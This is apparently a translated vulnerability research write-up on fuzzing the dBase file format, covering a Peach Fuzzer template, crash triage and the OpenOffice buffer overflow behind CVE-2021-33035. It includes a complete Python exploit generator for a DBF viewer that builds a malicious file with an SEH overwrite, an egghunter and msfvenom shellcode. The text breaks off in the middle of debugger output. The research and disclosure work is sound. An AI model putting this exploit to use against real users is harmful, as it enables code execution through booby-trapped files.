Apache OpenOffice代码执行漏洞挖掘与利用(CVE-2021-33035)

本文详细介绍了通过dBase文件格式的模糊测试和源代码审计,在Apache OpenOffice中发现并利用缓冲区溢出漏洞实现远程代码执行的全过程,包括漏洞分析、利用链构建和负责任披露时间线。

All Your (d)Base Are Belong To Us, Part 1: Apache OpenOffice中的代码执行(CVE-2021-33035)

引言

进入漏洞研究的荒野可能是一项艰巨的任务。我主要来自Web和应用安全背景,不得不将我的黑客思维转向内存损坏漏洞和本地攻击向量。这个由两部分组成的系列将分享我如何通过发现和利用数亿人使用的办公应用程序中的代码执行零日漏洞来开始漏洞研究。我将概述我开始漏洞研究的方法,包括盲目模糊测试、覆盖引导模糊测试、逆向工程和源代码审查。我还将讨论漏洞研究的一些管理方面,如CVE分配和负责任披露。

在第二部分中,我将披露通过覆盖引导模糊测试发现的其他漏洞,包括CVE-2021-38646:Microsoft Office Access Connectivity Engine远程代码执行漏洞。

选择目标

在漏洞研究旅程早期,我收到的一条建议是专注于文件格式,而不是特定的软件。这种方法有两个主要优点。首先,作为初学者,我缺乏快速识别单个应用程序中独特攻击向量的经验,而文件格式解析往往是许多应用程序的常见入口点。此外,常见文件格式由RFC或开源代码很好地记录,减少了逆向工程格式所需的工作量。最后,文件格式模糊测试的设置往往比协议模糊测试简单得多。总的来说,这是开始漏洞研究的好方法。

然而,并非所有文件格式都是平等的。我需要选择一个不仅仅是伪装成ZIP文件的文件格式(例如DOCX文件)。这有助于简化我的模糊测试模板,而不是处理嵌套文件容器,并在进行根本原因分析时减少了复杂性。尽可能的,我还想专注于一个研究较少的文件格式,可能逃过了其他研究人员的注意。

经过一番谷歌搜索,我找到了dBase数据库文件(DBF)格式(.dbf)。

dBase数据库格式创建于近40年前,被用作各种应用程序的数据存储机制,从电子表格处理器到集成开发环境(IDE)。尽管每个版本都支持更多用例,但该格式在存储和媒体支持方面仍然存在重大限制,最终输给了更先进的竞争对手。然而,由于它作为跨多个平台的遗留文件格式的地位,dBase数据库仍然出现在有趣的地方,例如shapefile地理信息系统(GIS)格式。许多电子表格和办公应用程序继续支持DBF,包括Microsoft Office、LibreOffice和Apache OpenOffice。

幸运的是,发现dBase的文件格式文档相对简单;维基百科对版本5的格式有简单描述,dBase LLC也提供了更新的规范。国会图书馆列出了令人惊叹的文件格式目录,包括DBF。DBF格式的各种版本和扩展为程序员引入解析漏洞提供了充足的机会。

使用GitLab的Peach Fuzzer进行盲目模糊测试

在深入覆盖引导模糊测试(我将在第2部分中撰写)之前,我决定使用基于格式的盲目模糊测试器来验证我对文件格式的理解,以在简单的DBF处理器中发现漏洞。FileInfo.com提供了可以打开DBF文件的程序列表。我专注于那些唯一工作是打开和显示DBF文件的小型应用程序,而不是复杂的企业应用程序。这有几个优点。首先,使用盲目模糊测试器进行模糊测试会快得多,它们运行整个应用程序而不是最小化的测试工具。其次,这些维护较少的应用程序更有可能容易受到基于格式的攻击。最后,这使我能够将任何崩溃隔离到文件格式解析逻辑本身。为了我的研究,由于Windows DBF处理器的相对丰富,我对Windows应用程序进行了模糊测试。

我使用GitLab的开源Peach Fuzzer——我之前写过关于它的文章——作为我的盲目模糊测试器。Peach Fuzzer声称是“智能”的,因为它记录和分析崩溃发生的方式。然而,与每次迭代都跟踪执行流程的现代基于覆盖的模糊测试器相比,Peach Fuzzer仅在其语料库最小化工具中检测执行(通过Intel PIN)。在实际的模糊测试本身中,Peach基于给定的模板(也称为“Pits”)突变测试用例。

为DBF格式制作Peach Pit被证明是盲目模糊测试中最困难和耗时的阶段。DBF格式包括两个主要部分:头部和主体。头部包括描述dBase数据库版本的前缀、最后更新时间戳和其他元数据。更重要的是,它指定了数据库中每个记录的长度、头部结构的长度、记录的数量以及记录中的数据字段。字段本身可以是整数、字符串、浮点数或任何其他支持的数据类型。字段还包括一个FieldLength描述符。主体简单地包含头部描述的所有记录。

为了描述头部中指定的记录数量与主体中实际记录数量之间的关系,我使用了Relation块。例如,我这样指定了NumberOfRecords头部字节:

1
2
3
<Number name="NumberOfRecords" size="32" signed="false">
    <Relation type="count" of="Records" />
</Number>

后来在模板中,我在主体中添加了一个<Block name="Records" minOccurs="0">块。Peach自动检测到这种关系,并确保在后续突变中,模糊测试候选中的Records块数量与头部中的NumberOfRecords字节匹配(除非突变是故意的)。

我纠结的一个考虑是模板应该有多严格。例如,由于Peach支持各种数据类型,如String和Number,我本可以指定主体中的记录数据应对应于头部中的FieldType描述。然而,这可能会阻止模糊测试器发现有趣的新崩溃,例如如果为整数字段提供了字符串类型。最终,我决定保持灵活性,使用通用的<Blob name="RecordData" />块。

完成Peach Pit后,是时候收集样本语料库以生成新的模糊测试候选了。我写了一个简单的Python脚本,使用filetype:dbf Google dork抓取样本,对样本进行分类,然后用Peach自己的工具最小化语料库:.\PeachMinset.exe -s samples -m minset -t traces "<PATH TO FUZZING TARGET>" %s。这将语料库大小从200多个减少到大约20个。

经过所有这些工作,我终于可以开始模糊测试了!这就像Z:\peach\Peach.exe .\dbf_pit.xml一样简单。一些应用程序表现良好;对于其他应用程序,崩溃迅速堆积。

Peach Fuzzer在崩溃时运行WinDBG的!exploitable脚本来对它们进行分类。在这里,我们看到Scalabium dBase Viewer因其中一个测试用例而遭受结构化异常处理程序(SEH)覆盖崩溃。

由于SEH覆盖是Windows中最容易利用的之一(如果没有讨厌的保护措施),Peach正确地将其分类为EXPLOITABLE。此外,Peach列出了它为此测试用例突变的字段。

下一步是精确定位测试用例中导致SEH覆盖的确切字节。我在010 Editor中打开了测试用例,并使用了一个DBF模板,该模板突出显示了哪些字节对应于格式的规范,并手动削减了多余的字节,直到我有一个“最小可行崩溃”文件,重现了相同的崩溃。

在左侧,您可以看到原始崩溃是18538字节,而在右侧,最小可行崩溃文件只有102字节。通过以块为单位删除多余字节,同时确保崩溃仍然可重现,我最终隔离了崩溃的根本原因:fieldType为2的字段!

回到DBF文档,fieldType字节定义了记录中相应字段的数据类型,例如C表示字符,D表示日期,l表示长整型等。然而,2没有被提及。经过进一步研究,我遇到了dBase数据库格式的FlagShip扩展的文档,其中包括2数据类型:

fieldType Size Type Description/Storage Applies for (supported by)
2 2 short int binary int max +/- 32767 FS (.dbf type = 0x23,0x33,0xB3)
4 4 long int binary int max +/- 2147483647 FS (.dbf type = 0x23,0x33,0xB3)
8 8 double binary signed double IEEE FS (.dbf type = 0x23,0x33,0xB3)

这表明溢出是由于过大的缓冲区被复制到大小为2的短整型缓冲区中而发生的。我决定在WinDBG中进一步检查崩溃:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
(173c.21c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Users\offsec\Desktop\exploits\dbfview\dbfview\dbfview.exe
eax=001979d0 ebx=41414141 ecx=00000000 edx=41414141 esi=00000000 edi=02214628
eip=0046619c esp=00197974 ebp=0019faa4 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
dbfview+0x6619c:
0046619c 8b4358          mov     eax,dword ptr [ebx+58h] ds:002b:41414199=????????
0:000> !exchain
0019798c: dbfview+6650f (0046650f)
0019faac: 42424242
Invalid exception stack at 41414141
0:000> dd 0019faac-0x20
0019fa8c  00000000 41414141 41414141 41414141
0019fa9c  41414141 41414141 41414141 41414141
0019faac  41414141 42424242 0019fb40 0019fb48
0019fabc  004676e7 0019fb40 004c1c10 00000002
0019facc  02214628 00000000 02214744 00000000
0019fadc  00000000 0019fb48 004082ef 02214744
0019faec  80000000 00000003 00000000 00000003
0019fafc  00000080 00000000 4c505845 0054494f

我观察到,我控制的缓冲区大小为36(如010 Editor模板中的fieldLength所指定)已被逐字节复制到短整型缓冲区中,这导致了SEH覆盖。这表明应用程序在执行字节复制到预分配缓冲区时盲目信任攻击者控制的fieldLength,该缓冲区的大小由攻击者控制的fieldType确定。这导致了直接的缓冲区溢出,没有特殊字符要求。在进行利用之前,我使用narly进行了最后一次检查,以查看是否有任何内存保护:

1
2
0:000> !nmod
00400000 0051e000 dbfview              /SafeSEH OFF                C:\Users\offsec\Desktop\exploits\dbfview\dbfview\dbfview.exe

太好了,dbfview没有保护。我继续写了一个简短的脚本来生成我的概念验证有效载荷。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from struct import pack

# SEH-based egghunter with egg w00tw00t
egghunter = b"\xeb\x2a\x59\xb8\x77\x30\x30\x74\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"                       

# dbase header
payload = b'\x03'                       # dbase version number
payload += b'\x01\x01\x01'              # last update date
payload += pack('<i', 1)                # number of records
payload += pack('<h', 65)               # number of records
payload += pack('<h', 4095)             # length of each record
payload += 20 * b'\x00'                 # reserved bytes

# field definition
payload += pack('11s', b'EXPLOIT')      # field name
payload += b'2'                         # field type (short integer)
payload += 4 * b'\x00'                  # field data address (can be null)
payload += pack('B', 255)               # field size (change accordingly)
payload += 15 * b'\x00'                 # reserved bytes
payload += b'\x0D'                      # terminator character

# record definition
payload += b'\x20'                      # deleted flag
payload += 28 * b'\x90'                 # offset
# payload += 4 * b'\x41'                # offset
payload += pack("<L", (0x909006eb))     # JMP 06
payload += pack("<L", (0x00457886))     # dbfview: pop edi; pop esi; ret
payload +=  egghunter                      
payload += b'w00tw00t'                  # egg

# msfvenom -p windows/exec CMD=calc -f python -v payload
payload += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
payload += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
payload += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
payload += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
payload += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
payload += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
payload += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
payload += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
payload += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
payload += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
payload += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
payload += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00"
payload += b"\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
payload += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
payload += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
payload += b"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00"

with open('payload.dbf', 'wb') as w:
    w.write(payload)

我在dbfview.exe中打开了生成的文件,并弹出了Calc。太好了!

Apache OpenOffice的源代码审查

既然我已经在一些较小的DBF处理器上验证了我的盲目模糊测试模板,是时候瞄准更高的目标了。盲目模糊测试阶段教会我,DBF文件格式存在一个固有弱点:记录缓冲区大小可以由头部中的fieldLength或fieldType确定。如果程序员在分配缓冲区时盲目信任其中一个,但使用另一个来确定复制到该缓冲区的大小,这可能导致缓冲区溢出。

由于一些开源项目如Apache OpenOffice支持DBF文件,我决定对此漏洞进行源代码审查。不久之后,我在OpenOffice的DBF解析代码中中了大奖:

1
2
3
4
5
6
else if ( DataType::INTEGER == nType )
{
    sal_Int32 nValue = 0;
    memcpy(&nValue, pData, nLen);
    *(_rRow->get())[i] = nValue;
}

在这里,我们可以看到为INTEGER类型的字段实例化了一个大小为sal_Int32(4字节)的缓冲区nValue。接下来,memcpy将一个大小为nLen的缓冲区——这是一个攻击者控制的值——复制到nValue中,而没有验证nLen是否小于或等于4。这种模式在各种数据类型中重复出现。这可能是先前缓冲区溢出的变体吗?我快速修改了先前的有效载荷生成器为整数字段类型(I),将fieldLength的大小增加到大于sal_Int32,并在OpenOffice Calc中打开了文件。我得到了我的崩溃!

不幸的是,这次事情并不那么容易。尽管初始崩溃导致了SEH覆盖,但SEH链拒绝执行。soffice二进制文件本身启用了安全异常处理程序(SAFESEH)保护,以及地址空间布局随机化(ASLR)和数据执行防止(DEP),这防止了溢出的简单利用。

从初始异常回溯,我意识到它是由执行流程中较早的某种验证检查触发的:

1
2
3
4
0:000> p
eax=08ceacec ebx=0ffe68e8 ecx=08ceacf0 edx=00000001 esi=0ff38d60 edi=084299b9
eip=08c56920 esp=0178dd58 ebp=0178de74 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             e
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计